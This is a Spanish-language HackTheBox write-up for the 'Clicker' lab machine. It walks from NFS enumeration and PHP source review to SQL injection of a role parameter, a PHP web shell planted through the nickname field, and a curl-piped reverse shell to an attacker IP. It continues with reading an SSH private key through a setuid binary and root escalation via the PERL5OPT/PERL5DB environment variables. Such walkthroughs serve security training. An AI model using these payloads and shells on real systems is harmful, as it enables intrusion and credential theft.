Clicker es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Clicker 10.129.128.183 a /etc/hosts como clicker.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.128.183 Nmap scan report for 10.129.128.183 Host is up, received reset ttl 63 (0.089s latency). Scanned at 2023-09-25 11:26:12 GMT for 14s Not shown: 64713 closed tcp ports (reset), 813 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 111/tcp open rpcbind syn-ack ttl 63 2049/tcp open nfs syn-ack ttl 63 38337/tcp open unknown syn-ack ttl 63 43129/tcp open unknown syn-ack ttl 63 48377/tcp open unknown syn-ack ttl 63 49441/tcp open unknown syn-ack ttl 63 55291/tcp open unknown syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Sep 25 11:26:26 2023 -- 1 IP address (1 host up) scanned in 14.41 seconds |
Lanzado el primer escaneo vamos con uno más detallado sobre los puertos abiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ nmap -sCV -p 22,80,111,2049,38337,43129,48377,49441,55291 -oA enumeration/nmap2 10.129.128.183 Nmap scan report for 10.129.128.183 Host is up (0.051s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA) |_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://clicker.htb/ 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 37789/tcp6 mountd | 100005 1,2,3 43129/tcp mountd | 100005 1,2,3 55071/udp6 mountd | 100005 1,2,3 58318/udp mountd | 100021 1,3,4 38337/tcp nlockmgr | 100021 1,3,4 41195/udp nlockmgr | 100021 1,3,4 43992/udp6 nlockmgr | 100021 1,3,4 45651/tcp6 nlockmgr | 100024 1 48788/udp6 status | 100024 1 49441/tcp status | 100024 1 52330/udp status | 100024 1 52637/tcp6 status | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/tcp6 nfs_acl 2049/tcp open nfs_acl 3 (RPC #100227) 38337/tcp open nlockmgr 1-4 (RPC #100021) 43129/tcp open mountd 1-3 (RPC #100005) 48377/tcp open mountd 1-3 (RPC #100005) 49441/tcp open status 1 (RPC #100024) 55291/tcp open mountd 1-3 (RPC #100005) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Sep 25 11:26:50 2023 -- 1 IP address (1 host up) scanned in 10.58 seconds |
Enumeración
Revisaremos en primer lugar la aplicación web en el puerto 80 donde vemos la siguiente página web

Navegamos un poco por la página y nos creamos una cuenta y accedemos

Revisamos el portal y vemos un juego de hacer clicks para ganar puntos e ir subiendo de nivel

Parece que necesitamos más información para poder continuar así que siguiendo con la revisión vamos a ver si hay algo en el puerto 2049 que corresponde al servicio de NFS y vemos un punto de montaje
|
1 2 3 |
$ showmount -e clicker.htb Export list for clicker.htb: /mnt/backups * |
Creamos una carpeta y montamos
|
1 |
$ sudo mount -t nfs clicker.htb:/mnt/backups backups/ |
Y revisamos su contenido donde vemos un fichero .zip con un backup de la aplicación
|
1 2 3 |
$ ls -l backups/ total 2232 -rw-r--r-- 1 root root 2284115 sep 1 20:27 clicker.htb_backup.zip |
Copiamos a nuestro sistema el fichero y descomprimimos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
$ unzip clicker.htb_backup.zip Archive: clicker.htb_backup.zip creating: clicker.htb/ inflating: clicker.htb/play.php inflating: clicker.htb/profile.php inflating: clicker.htb/authenticate.php inflating: clicker.htb/create_player.php inflating: clicker.htb/logout.php creating: clicker.htb/assets/ inflating: clicker.htb/assets/background.png inflating: clicker.htb/assets/cover.css inflating: clicker.htb/assets/cursor.png creating: clicker.htb/assets/js/ inflating: clicker.htb/assets/js/bootstrap.js.map inflating: clicker.htb/assets/js/bootstrap.bundle.min.js.map inflating: clicker.htb/assets/js/bootstrap.min.js.map inflating: clicker.htb/assets/js/bootstrap.bundle.min.js inflating: clicker.htb/assets/js/bootstrap.min.js inflating: clicker.htb/assets/js/bootstrap.bundle.js inflating: clicker.htb/assets/js/bootstrap.bundle.js.map inflating: clicker.htb/assets/js/bootstrap.js creating: clicker.htb/assets/css/ inflating: clicker.htb/assets/css/bootstrap-reboot.min.css inflating: clicker.htb/assets/css/bootstrap-reboot.css inflating: clicker.htb/assets/css/bootstrap-reboot.min.css.map inflating: clicker.htb/assets/css/bootstrap.min.css.map inflating: clicker.htb/assets/css/bootstrap.css.map inflating: clicker.htb/assets/css/bootstrap-grid.css inflating: clicker.htb/assets/css/bootstrap-grid.min.css.map inflating: clicker.htb/assets/css/bootstrap-grid.min.css inflating: clicker.htb/assets/css/bootstrap.min.css inflating: clicker.htb/assets/css/bootstrap-grid.css.map inflating: clicker.htb/assets/css/bootstrap.css inflating: clicker.htb/assets/css/bootstrap-reboot.css.map inflating: clicker.htb/login.php inflating: clicker.htb/admin.php inflating: clicker.htb/info.php inflating: clicker.htb/diagnostic.php inflating: clicker.htb/save_game.php inflating: clicker.htb/register.php inflating: clicker.htb/index.php inflating: clicker.htb/db_utils.php creating: clicker.htb/exports/ inflating: clicker.htb/export.php |
Revisamos el código a conciencia y vemos varias cosas interesantes.
Empezaremos con el fichero authenticate.php donde vemos los parámetros utilizados durante el proceso de autenticación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<?php session_start(); include_once("db_utils.php"); if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] != "" && $_POST['password'] != "") { if(check_auth($_POST['username'], $_POST['password'])) { $_SESSION["PLAYER"] = $_POST["username"]; $profile = load_profile($_POST["username"]); $_SESSION["NICKNAME"] = $profile["nickname"]; $_SESSION["ROLE"] = $profile["role"]; $_SESSION["CLICKS"] = $profile["clicks"]; $_SESSION["LEVEL"] = $profile["level"]; header('Location: /index.php'); } else { header('Location: /login.php?err=Authentication Failed'); } } ?> |
Nos vamos a centrar en como trabaja con el rol del usuario, así que siguiendo la búsqueda, vemos en el fichero admin.php que carga la variable para verificar el rol del usuario
|
1 2 3 4 5 6 7 8 9 10 |
$ head -9 admin.php <?php session_start(); include_once("db_utils.php"); if ($_SESSION["ROLE"] != "Admin") { header('Location: /index.php'); die; } ?> |
En el fichero diagnostic.php realiza otra validación, en este caso con un token que no hemos sido capaces de descifrar
|
1 2 3 4 5 6 7 8 9 10 11 |
<?php if (isset($_GET["token"])) { if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) { header("HTTP/1.1 401 Unauthorized"); exit; } } else { header("HTTP/1.1 401 Unauthorized"); die; } |
Revisando el fichero save_game.php comprueba la clave y el valor de la variable role para tratar de prevenir su modificación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ cat save_game.php <?php session_start(); include_once("db_utils.php"); if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") { $args = []; foreach($_GET as $key=>$value) { if (strtolower($key) === 'role') { // prevent malicious users to modify role header('Location: /index.php?err=Malicious activity detected!'); die; } $args[$key] = $value; } save_profile($_SESSION['PLAYER'], $_GET); // update session info $_SESSION['CLICKS'] = $_GET['clicks']; $_SESSION['LEVEL'] = $_GET['level']; header('Location: /index.php?msg=Game has been saved!'); } ?> |
Y durante ese proceso llama a la función save_profile del fichero db_utils.php para guardar los datos del usuario
|
1 2 3 4 5 6 7 8 9 10 11 |
function save_profile($player, $args) { global $pdo; $params = ["player"=>$player]; $setStr = ""; foreach ($args as $key => $value) { $setStr .= $key . "=" . $pdo->quote($value) . ","; } $setStr = rtrim($setStr, ","); $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player"); $stmt -> execute($params); } |
Como última observación, vemos en el fichero export.php que si la extensión del fichero no es txt ni json pinta los datos sin sanitizar
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
if ($_POST["extension"] == "txt") { $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n"; foreach ($data as $player) { $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n"; } } elseif ($_POST["extension"] == "json") { $s .= json_encode($currentplayer); $s .= json_encode($data); } else { $s .= '<table>'; $s .= '<thead>'; $s .= ' <tr>'; $s .= ' <th scope="col">Nickname</th>'; $s .= ' <th scope="col">Clicks</th>'; $s .= ' <th scope="col">Level</th>'; $s .= ' </tr>'; $s .= '</thead>'; $s .= '<tbody>'; $s .= ' <tr>'; $s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>'; $s .= ' <td>' . $currentplayer["clicks"] . '</td>'; $s .= ' <td>' . $currentplayer["level"] . '</td>'; $s .= ' </tr>'; foreach ($data as $player) { $s .= ' <tr>'; $s .= ' <th scope="row">' . $player["nickname"] . '</th>'; $s .= ' <td>' . $player["clicks"] . '</td>'; $s .= ' <td>' . $player["level"] . '</td>'; $s .= ' </tr>'; } $s .= '</tbody>'; $s .= '</table>'; } |
Vista toda esta parte llegamos a la conclusión de que tenemos que realizar los siguientes pasos:
- Interceptar la petición de guardado de juego para modificar el rol por el de admin
- Explotar el RCE a través del parámetro nickname
- Exportar el resultado para poder ejecutar nuestro código
Así que vistos los pasos, en primer lugar modificaremos el rol del usuario y para ello interceptamos la petición de guardado del juego con burp y añadiremos el valor
|
1 |
role="Admin"# |
en hexadecimal

Ahora cerramos la sesión y entramos de nuevo para ver que tenemos permisos de admin

Una vez logueados con rol de admin interceptamos otra petición de guardado del juego y modificaremos el nickname enviando el siguiente payload en hexadecimal
|
1 |
"<?php system($_REQUEST['cmd']); ?>"# |

Una vez modificado el nickname lanzamos la petición para exportar los datos

Y si accedemos al fichero y le pasamos un comando vemos que ha funcionado

El siguiente paso será obtener una revshell, así que generamos un fichero con el siguiente contenido
|
1 2 3 |
$ cat revshell.sh #!/bin/bash bash -i >& /dev/tcp/10.10.14.31/4444 0>&1 |
Enviamos la petición para que descargue el fichero de nuestro kali
|
1 |
$ curl "http://clicker.htb/exports/top_players_l8gwhumt.php?cmd=curl+10.10.14.31/revshell.sh|bash" |
Y obtenemos una shell con www-data
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.31] from (UNKNOWN) [10.129.128.183] 60616 bash: cannot set terminal process group (1225): Inappropriate ioctl for device bash: no job control in this shell www-data@clicker:/var/www/clicker.htb/exports$ whoami whoami www-data www-data@clicker:/var/www/clicker.htb/exports$ |
Escalado al usuario jack
Una vez dentro, enumeramos ficheros con permisos de suid
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
www-data@clicker:/var/www/clicker.htb/exports$ find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null /usr/bin/sudo /usr/bin/chsh /usr/bin/gpasswd /usr/bin/fusermount3 /usr/bin/su /usr/bin/umount /usr/bin/newgrp /usr/bin/chfn /usr/bin/passwd /usr/bin/mount /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/libexec/polkit-agent-helper-1 /usr/sbin/mount.nfs /opt/manage/execute_query |
Y vemos uno fuera de lo común llamado execute_query
|
1 2 3 |
www-data@clicker:/var/www/clicker.htb/exports$ ls -l /opt/manage/execute_query <licker.htb/exports$ ls -l /opt/manage/execute_query -rwsrwsr-x 1 jack jack 16368 Feb 26 2023 /opt/manage/execute_query |
Que se trata de un fichero ELF
|
1 2 3 |
www-data@clicker:/var/www/clicker.htb/exports$ file /opt/manage/execute_query file /opt/manage/execute_query /opt/manage/execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped |
Si vamos a la ruta del binario vemos también un fichero readme
|
1 2 3 4 5 |
www-data@clicker:/opt/manage$ ls -l ls -l total 20 -rw-rw-r-- 1 jack jack 256 Jul 21 22:29 README.txt -rwsrwsr-x 1 jack jack 16368 Feb 26 2023 execute_query |
Cuyo contenido es
|
1 2 3 4 5 6 7 8 9 |
www-data@clicker:/opt/manage$ cat README.txt cat README.txt Web application Management Use the binary to execute the following task: - 1: Creates the database structure and adds user admin - 2: Creates fake players (better not tell anyone) - 3: Resets the admin password - 4: Deletes all users except the admin |
Así que hacemos alguna prueba con las diferentes opciones para ver su funcionamiento
|
1 2 3 4 5 6 7 8 9 10 11 12 |
www-data@clicker:/opt/manage$ ./execute_query 1 ./execute_query 1 mysql: [Warning] Using a password on the command line interface can be insecure. -------------- CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username)) -------------- -------------- INSERT INTO players (username, nickname, password, role, clicks, level) VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999) ON DUPLICATE KEY UPDATE username=username -------------- |
Siguiendo con el análisis vemos en los strings una parte interesante
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ strings execute_query ... /home/jaH ck/queriH /usr/binH /mysql -H u clickeH r_db_useH r --passH word='clH icker_dbH _passworH d' clickH er -v < H ... File not readable or not found ... |
Y si lo pasamos a una línea
|
1 2 |
/home/jack/queri /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < |
Por lo que podemos ver hay un método en el cual le podemos pasar un fichero, y el binario parte su ejecución de la ruta /home/jack/queri así que hacemos más pruebas y descubrimos un método que no aparecía en el fichero readme, con identificador 5, y el encargado de leer ese fichero
|
1 2 3 4 |
www-data@clicker:/opt/manage$ ./execute_query 5 ../ ./execute_query 5 ../ mysql: [Warning] Using a password on the command line interface can be insecure. ERROR: Can't initialize batch_readline - may be the input source is a directory or a block device. |
Así que vamos a ver si por casualidad está la clave privada del usuario en su home y la obtenemos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa ./execute_query 5 ../.ssh/id_rsa mysql: [Warning] Using a password on the command line interface can be insecure. -------------- -----BEGIN OPENSSH PRIVATE KEY--- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1 kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e ... |
Obteniendo la flag de user
Con la clave accedemos por ssh y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ ssh -i jack.pem jack@clicker.htb Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Sep 25 01:10:13 PM UTC 2023 System load: 0.0 Usage of /: 53.6% of 5.77GB Memory usage: 23% Swap usage: 0% Processes: 250 Users logged in: 0 IPv4 address for eth0: 10.129.128.183 IPv6 address for eth0: dead:beef::250:56ff:fe96:6799 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. jack@clicker:~$ id uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) jack@clicker:~$ jack@clicker:~$ cat user.txt 9b5be6c82d74635742e6757a6f55e22c |
Escalado de privilegios
Para el escalado a root revisamos si el usuario tiene algún privilegio
|
1 2 3 4 5 6 7 |
jack@clicker:~$ sudo -l Matching Defaults entries for jack on clicker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User jack may run the following commands on clicker: (ALL : ALL) ALL (root) SETENV: NOPASSWD: /opt/monitor.sh |
Y vemos que puede ejecutar como root el siguiente script
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
jack@clicker:~$ cat /opt/monitor.sh #!/bin/bash if [ "$EUID" -ne 0 ] then echo "Error, please run as root" exit fi set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin unset PERL5LIB; unset PERLLIB; data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token); /usr/bin/xml_pp <<< $data; if [[ $NOSAVE == "true" ]]; then exit; else timestamp=$(/usr/bin/date +%s) /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml fi |
Revisando el código no podemos aprovecharnos del path ni de las variables utilizadas ya que hace un unset de las mismas pero podemos tratar de cargarlas antes para saltar la restricción.
Buscando en google encontramos un post donde explica como saltar la restricción con variables de entorno.
Así que lo probamos para verificar que estamos ejecutando con el usuario root
|
1 2 3 4 5 |
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB="system('id');" /opt/monitor.sh uid=0(root) gid=0(root) groups=0(root) No DB::DB routine defined at /usr/bin/xml_pp line 9. No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870. END failed--call queue aborted. |
Damos permisos de suid al binario de bash
|
1 2 3 4 |
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB="system('chmod +s /bin/bash');" /opt/monitor.sh No DB::DB routine defined at /usr/bin/xml_pp line 9. No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870. END failed--call queue aborted. |
Revisamos
|
1 2 |
jack@clicker:~$ ls -l /bin/bash -rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bash |
Y escalamos a root
|
1 2 3 4 |
jack@clicker:~$ bash -p bash-5.1# id uid=1000(jack) gid=1000(jack) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),1000(jack) bash-5.1# |
Obteniendo la flag de root
Una vez que tenemos permisos de root sólo nos queda obtener la flag
|
1 2 3 |
bash-5.1# cat /root/root.txt 63df073358fd1fb5d0e38adad24fdf72 bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










